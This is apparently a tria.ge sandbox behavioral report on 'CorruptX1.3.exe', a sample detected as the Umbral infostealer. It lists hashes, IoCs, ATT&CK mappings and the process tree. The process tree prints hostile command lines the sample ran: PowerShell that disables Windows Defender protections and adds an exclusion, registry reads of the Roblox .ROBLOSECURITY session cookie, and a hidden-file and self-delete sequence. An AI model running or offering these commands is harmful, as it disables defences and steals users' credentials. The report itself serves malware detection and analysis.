Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
23/01/2025, 04:21
Behavioral task
behavioral1
Sample
CorruptX1.3.exe
Resource
win7-20240903-en
General
-
Target
CorruptX1.3.exe
-
Size
495KB
-
MD5
c57206c732c6cfaa8a4de6495732c8de
-
SHA1
eb4127b4a20b05a3db766b3c953f0e12eb3070e9
-
SHA256
0465cfcd8ec390d5d4e321ca1609ee70be881b906754cb5e783201114d922fcf
-
SHA512
f1205d7c5daaa6b38ec121200875c8355857252ad4d474ce629c8584e73933e050e4f74c968617908044b9e819bc099dab8866e4f065acd4aa0b203001d1a6c9
-
SSDEEP
6144:vloZM+rIkd8g+EtXHkv/iD4cGiqU69VeGbGkFZw9Xb8e1mqe6i:NoZtL+EP8cGiqU69VeGbGkFZwBLS
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2252-1-0x0000000000FA0000-0x0000000001022000-memory.dmp family_umbral -
Umbral family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2844 powershell.exe 2820 powershell.exe 1644 powershell.exe 1840 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts CorruptX1.3.exe -
Deletes itself 1 IoCs
pid Process 2320 cmd.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 discord.com 10 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2320 cmd.exe 2504 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 696 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2504 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2252 CorruptX1.3.exe 2844 powershell.exe 2820 powershell.exe 1644 powershell.exe 596 powershell.exe 1840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2252 CorruptX1.3.exe Token: SeIncreaseQuotaPrivilege 2196 wmic.exe Token: SeSecurityPrivilege 2196 wmic.exe Token: SeTakeOwnershipPrivilege 2196 wmic.exe Token: SeLoadDriverPrivilege 2196 wmic.exe Token: SeSystemProfilePrivilege 2196 wmic.exe Token: SeSystemtimePrivilege 2196 wmic.exe Token: SeProfSingleProcessPrivilege 2196 wmic.exe Token: SeIncBasePriorityPrivilege 2196 wmic.exe Token: SeCreatePagefilePrivilege 2196 wmic.exe Token: SeBackupPrivilege 2196 wmic.exe Token: SeRestorePrivilege 2196 wmic.exe Token: SeShutdownPrivilege 2196 wmic.exe Token: SeDebugPrivilege 2196 wmic.exe Token: SeSystemEnvironmentPrivilege 2196 wmic.exe Token: SeRemoteShutdownPrivilege 2196 wmic.exe Token: SeUndockPrivilege 2196 wmic.exe Token: SeManageVolumePrivilege 2196 wmic.exe Token: 33 2196 wmic.exe Token: 34 2196 wmic.exe Token: 35 2196 wmic.exe Token: SeIncreaseQuotaPrivilege 2196 wmic.exe Token: SeSecurityPrivilege 2196 wmic.exe Token: SeTakeOwnershipPrivilege 2196 wmic.exe Token: SeLoadDriverPrivilege 2196 wmic.exe Token: SeSystemProfilePrivilege 2196 wmic.exe Token: SeSystemtimePrivilege 2196 wmic.exe Token: SeProfSingleProcessPrivilege 2196 wmic.exe Token: SeIncBasePriorityPrivilege 2196 wmic.exe Token: SeCreatePagefilePrivilege 2196 wmic.exe Token: SeBackupPrivilege 2196 wmic.exe Token: SeRestorePrivilege 2196 wmic.exe Token: SeShutdownPrivilege 2196 wmic.exe Token: SeDebugPrivilege 2196 wmic.exe Token: SeSystemEnvironmentPrivilege 2196 wmic.exe Token: SeRemoteShutdownPrivilege 2196 wmic.exe Token: SeUndockPrivilege 2196 wmic.exe Token: SeManageVolumePrivilege 2196 wmic.exe Token: 33 2196 wmic.exe Token: 34 2196 wmic.exe Token: 35 2196 wmic.exe Token: SeDebugPrivilege 2844 powershell.exe Token: SeDebugPrivilege 2820 powershell.exe Token: SeDebugPrivilege 1644 powershell.exe Token: SeDebugPrivilege 596 powershell.exe Token: SeIncreaseQuotaPrivilege 380 wmic.exe Token: SeSecurityPrivilege 380 wmic.exe Token: SeTakeOwnershipPrivilege 380 wmic.exe Token: SeLoadDriverPrivilege 380 wmic.exe Token: SeSystemProfilePrivilege 380 wmic.exe Token: SeSystemtimePrivilege 380 wmic.exe Token: SeProfSingleProcessPrivilege 380 wmic.exe Token: SeIncBasePriorityPrivilege 380 wmic.exe Token: SeCreatePagefilePrivilege 380 wmic.exe Token: SeBackupPrivilege 380 wmic.exe Token: SeRestorePrivilege 380 wmic.exe Token: SeShutdownPrivilege 380 wmic.exe Token: SeDebugPrivilege 380 wmic.exe Token: SeSystemEnvironmentPrivilege 380 wmic.exe Token: SeRemoteShutdownPrivilege 380 wmic.exe Token: SeUndockPrivilege 380 wmic.exe Token: SeManageVolumePrivilege 380 wmic.exe Token: 33 380 wmic.exe Token: 34 380 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2252 wrote to memory of 2196 2252 CorruptX1.3.exe 30 PID 2252 wrote to memory of 2196 2252 CorruptX1.3.exe 30 PID 2252 wrote to memory of 2196 2252 CorruptX1.3.exe 30 PID 2252 wrote to memory of 2324 2252 CorruptX1.3.exe 34 PID 2252 wrote to memory of 2324 2252 CorruptX1.3.exe 34 PID 2252 wrote to memory of 2324 2252 CorruptX1.3.exe 34 PID 2252 wrote to memory of 2844 2252 CorruptX1.3.exe 36 PID 2252 wrote to memory of 2844 2252 CorruptX1.3.exe 36 PID 2252 wrote to memory of 2844 2252 CorruptX1.3.exe 36 PID 2252 wrote to memory of 2820 2252 CorruptX1.3.exe 38 PID 2252 wrote to memory of 2820 2252 CorruptX1.3.exe 38 PID 2252 wrote to memory of 2820 2252 CorruptX1.3.exe 38 PID 2252 wrote to memory of 1644 2252 CorruptX1.3.exe 40 PID 2252 wrote to memory of 1644 2252 CorruptX1.3.exe 40 PID 2252 wrote to memory of 1644 2252 CorruptX1.3.exe 40 PID 2252 wrote to memory of 596 2252 CorruptX1.3.exe 42 PID 2252 wrote to memory of 596 2252 CorruptX1.3.exe 42 PID 2252 wrote to memory of 596 2252 CorruptX1.3.exe 42 PID 2252 wrote to memory of 380 2252 CorruptX1.3.exe 44 PID 2252 wrote to memory of 380 2252 CorruptX1.3.exe 44 PID 2252 wrote to memory of 380 2252 CorruptX1.3.exe 44 PID 2252 wrote to memory of 2440 2252 CorruptX1.3.exe 46 PID 2252 wrote to memory of 2440 2252 CorruptX1.3.exe 46 PID 2252 wrote to memory of 2440 2252 CorruptX1.3.exe 46 PID 2252 wrote to memory of 1204 2252 CorruptX1.3.exe 48 PID 2252 wrote to memory of 1204 2252 CorruptX1.3.exe 48 PID 2252 wrote to memory of 1204 2252 CorruptX1.3.exe 48 PID 2252 wrote to memory of 1840 2252 CorruptX1.3.exe 50 PID 2252 wrote to memory of 1840 2252 CorruptX1.3.exe 50 PID 2252 wrote to memory of 1840 2252 CorruptX1.3.exe 50 PID 2252 wrote to memory of 696 2252 CorruptX1.3.exe 52 PID 2252 wrote to memory of 696 2252 CorruptX1.3.exe 52 PID 2252 wrote to memory of 696 2252 CorruptX1.3.exe 52 PID 2252 wrote to memory of 2320 2252 CorruptX1.3.exe 54 PID 2252 wrote to memory of 2320 2252 CorruptX1.3.exe 54 PID 2252 wrote to memory of 2320 2252 CorruptX1.3.exe 54 PID 2320 wrote to memory of 2504 2320 cmd.exe 56 PID 2320 wrote to memory of 2504 2320 cmd.exe 56 PID 2320 wrote to memory of 2504 2320 cmd.exe 56 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2324 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe"C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2196
-
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe"2⤵
- Views/modifies file attributes
PID:2324
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2844
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2820
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:596
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:380
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:2440
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1204
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1840
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:696
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe" && pause2⤵
- Deletes itself
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2504
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d1f8ec99fdb2a6ce7d153ea8c6bbf822
SHA11234b658eb5bb91432c468edd7125a33d6c8970a
SHA25639d50d19c651f90bd557695ebbe0643026e0c3bcb06267b20db3cf7a04e9473f
SHA5127f28c83536be543911b5519c313c3137da0e411c5fc6bb4f2d162e83d6b211a938cf6bbb6f6f1a6c9faa03bdee5313b456288474e7ed6a9fbecceeb1d18f4a08